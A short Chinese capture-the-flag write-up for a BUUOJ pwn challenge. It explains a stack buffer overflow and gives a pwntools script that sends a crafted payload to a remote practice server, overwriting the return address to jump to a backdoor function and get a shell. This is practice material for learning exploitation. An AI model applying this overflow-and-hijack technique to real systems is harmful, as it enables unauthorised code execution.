1.checksec查看程序
2.ida64打开
先输入一个整形数据用于确定buf串需要读入多少个字节,这里后续使用的是0x111
并且这题已经给出了后门函数backdoor
3.查看nbytes和buf的栈空间
nbytes在buf下方,并且nbytes是qword类型,占8个字节
4.脚本
这题思路并不复杂
首先输入一个足以覆盖掉返回地址的数字
再发送覆盖数据覆盖掉返回地址执行backdoor函数即可
推荐文章:
1.Pwn基础知识笔记 对recvuntil等函数有解释
2.pwn中str()与p64 解释了为什么第一次send要使用字符串类型而不能直接发送int类型
send是模拟交互的情况,如果使用send(0x111)会有报错,并且发送的字符串要带上换行符,否则会无法结束输入
from pwn import *
context.log_level='debug'
p=remote("node4.buuoj.cn",26787)
p.recvuntil("[+]Please input the length of your name:")#等接收到这个字符串再发送数据
p.send(str(0x111)+'\n')
#以字符串形式发送,服务器会收到b'273\n',这个\n也是必须的,否则会出现一直等待数据输入的情况
payload=b'a'*12+p64(0x111)+b'b'*4+p64(0x4006e6)
p.recvuntil("[+]What's u name?")#覆盖a同时保留nbytes的数值,修改返回地址执行/bin/sh
p.send(payload)
p.interactive()
5.获取flag
不过这里还有一个异或就是本机运行该程序不能成功获取执行权,非常奇怪